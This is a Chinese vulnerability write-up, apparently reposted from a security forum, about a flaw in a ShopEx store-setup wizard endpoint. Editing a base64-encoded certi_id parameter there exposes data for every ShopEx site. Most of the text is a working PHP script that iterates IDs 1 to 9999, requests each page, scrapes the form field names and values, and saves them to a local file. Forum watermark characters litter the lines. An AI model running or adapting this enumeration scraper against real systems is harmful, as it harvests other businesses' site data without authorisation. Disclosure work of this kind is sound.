ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
; G1 _; H/ Q) eShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面


7 A/ v1 T4 T9 H  t) }
1 C' D- ?; j; S# X0 s4 d7 ^9 }http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
: v4 I5 r) W4 \& c2 h+ S+ x

3 r: n* O7 }  L+ \9 x. f
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



; x  B; S) w! U8 ]9 G我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
$ t2 M+ f# R) i/ N2 @
+ U: o; m; S! ~1 Y
% B+ ^. `" c- e( F
+ q; S) }' k' b- ?3 U7 Y<?php

                for ($i=1; $i < 10000; $i++) { //遍历

8 W4 E1 Y4 @9 ]  e                        ShowshopExD($i);

: C5 j7 m" r0 p                }

, S/ b( I- z) n9 h& v. R                function ShowshopExD($cid) {
! U2 i- r" T% @% E$ D5 m, Z
                $url='http://guide.ecos.shopex.cn/step2.php';

) S$ q( t, G8 N* ~                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

2 M/ l6 [. e! K6 x. x& i! m        $url = $url.'?refer='.$refer;

: L+ a! L" l9 A6 \        $ch = curl_init($url);
' G- x2 ?5 B: e/ w& V# x
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

$ f- e5 a8 d( \( U( v! e        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
) c& @" n8 N5 ~2 @" S
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
% D6 x+ i, y" R& B, S  O
        {
, V+ {5 k( A( f* a4 ?! G7 M8 J' ?' Z
) I4 R3 a6 k' U' D                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
4 c$ l( A! v6 y+ G5 q1 m
                foreach ($value[1] as $key) {
* E4 a& m5 R+ r
- v- P% J: R0 [                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

/ Q( C4 D7 @$ ?; e                        $col =$res[1][0].':'.$res[3][0]."\r\n";
+ t/ I; w- m; P. z# f4 R
' b; x  `7 `  a( r. W8 [                        fwrite($fp, $col, strlen($col));
) \  o, D% P% k$ @0 p
& g# f9 g9 T+ r# p. o. K                }
$ [  c) V/ n# w  u2 _/ K( K7 @' _
8 `% u& h1 S3 y( N                echo '--------------------------------'."\r\n";

( d+ V0 ]' F/ @$ c# p                fclose($fp);

2 y- a3 c% h; T, Q6 ^: U        }
) |! M- k; W" ]! P/ s) V* x
        flush();
3 s( N3 g8 D) F: W
( f2 Q- c3 g2 Y9 w) j* Q, o        curl_close($ch);
# x. r' m7 W1 H( w3 V6 q" B+ i+ x6 z: F
                }

/ E8 `8 G7 b3 L# {4 j2 O  P3 ?, ^( Q?>
' E- z. G: S4 p0 W" G; g  V* s漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式